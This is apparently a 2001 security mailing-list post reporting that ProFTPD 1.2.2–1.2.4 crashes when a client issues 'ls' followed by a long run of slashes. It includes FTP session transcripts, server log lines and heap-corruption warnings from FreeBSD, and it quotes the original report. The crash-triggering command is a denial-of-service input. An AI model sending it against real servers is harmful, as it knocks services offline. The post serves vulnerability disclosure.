user:~> ftp localhost Connected to localhost. 220 localhost FTP server ready. Name (localhost:user): user 331 Password required for user. Password: 230 User user logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls //////////////////////////////////////////////////////////////////////////// /////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////// /////////////////////////////////////////// 227 Entering Passive Mode (127,0,0,1,19,133). 150 Opening ASCII mode data connection for file list Jan 4 10:18:35 hostname proftpd[98202]: localhost (localhost[127.0.0.1]) - ProFTPD terminating (signal 10) Jan 4 10:18:35 hostname proftpd[98202]: localhost (localhost[127.0.0.1]) - ProFTPD terminating (signal 11) ^C receive aborted waiting for remote to finish abort. proftpd in free(): warning: junk pointer, too high to make sense. proftpd in free(): warning: junk pointer, too high to make sense. ftp> proftpd in free(): warning: modified (chunk-) pointer. proftpd-1.2.4 FreeBSD-4.4 STABLE -Yanek. > -----Original Message----- > From: Yaroslav Klyukin [mailto:bulldozerat_private-ip.com] > Sent: Sunday, December 30, 2001 9:53 AM > To: vuln-devat_private > Subject: Proftpd SIGSEGV > > > > I have found some strange things happening with proftpd (I > tried 1.2.2 > and 1.2.4. on different systems) > > When you issue > ls > //////////////////////////////////////////////////////////////////// > > command it will catch SIGSEGV and exit (11) > > I am not sure if it is already known, i send it just in case. > > Example: > > > [root@desktop skintwin]# /usr/local/sbin/proftpd > [root@desktop skintwin]# ftp localhost > Connected to localhost.localdomain. > 220 ProFTPD 1.2.4 Server (ProFTPD Default Installation) > [desktop.skintwin.no-ip.com] > Name (localhost:skintwin): > 331 Password required for skintwin. > Password: > 230 User skintwin logged in. > Remote system type is UNIX. > Using binary mode to transfer files. > ftp> ls > ////////////////////////////////////////////////////////////// > ///////////////////// > 227 Entering Passive Mode (127,0,0,1,4,100). > 150 Opening ASCII mode data connection for file list > 421 Service not available, remote server has closed connection > ftp> > > > In log files i have: > > > > Dec 30 17:46:27 desktop proftpd[1329]: desktop.skintwin.no-ip.com - > ProFTPD 1.2.4 (release) (built óÂÔ äÅË 29 23:27:35 MSK 2001) > standalone > mode STARTUP > Dec 30 17:46:35 desktop proftpd[1331]: desktop.skintwin.no-ip.com > (localhost.localdomain[127.0.0.1]) - FTP session opened. > Dec 30 17:47:09 desktop proftpd[1331]: desktop.skintwin.no-ip.com > (localhost.localdomain[127.0.0.1]) - ProFTPD terminating (signal 11) > > > > > -- > Systems admin of skintwin.no-ip.com > Visit http://skintwin.no-ip.com:777/ >
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